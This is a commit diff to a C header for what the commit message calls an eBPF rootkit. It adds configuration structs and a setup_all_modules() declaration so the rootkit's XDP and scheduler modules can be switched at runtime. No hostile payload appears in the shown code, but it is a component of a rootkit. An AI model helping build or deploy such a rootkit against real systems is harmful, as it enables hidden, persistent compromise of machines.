Completed configuration module which enables to change the running ebpf modules in the rootkit at runtime. Minor changes and updated code structure

src/user/include/modules/module_manager.h

@@ -2,11 +2,16 @@
 #define __MOD_MANAGER_H
 
 #include <stdint.h>
+#include <unistd.h>
+#include <linux/types.h>
+
 
 #define ON 1
 #define OFF 0
 
-//Centralized configutation struct
+//Centralized configutation struct.
+//Used by the module manager to decide which modules to load
+//If <all> is set in a module, the other configurations are ignored
 typedef struct module_config_t{
     struct xdp_module {
         char all;
@@ -20,6 +25,30 @@ typedef struct module_config_t{
 
 } module_config_t;
 
+//Configuration struct. Used by the module manager to
+//correctly attach the needed modules, providing necessary params
+typedef struct module_config_attr_t{
+    struct xdp_filter_bpf *skel;
+    struct xdp_module_attr {
+        __u32 ifindex;
+        __u32 flags;
+    } xdp_module;
+
+    struct sched_module_attr {
+        void* __empty;
+    }sched_module;
+
+} module_config_attr_t;
+
+//An unique module configutation struct and attr
 extern module_config_t module_config;
+extern module_config_attr_t module_config_attr;
+
+/**
+ * @brief Installs the ebpf modules according to the module_config
+ * 
+ * @return 0 if ok, -1 if error
+ */
+int setup_all_modules();
 
 #endif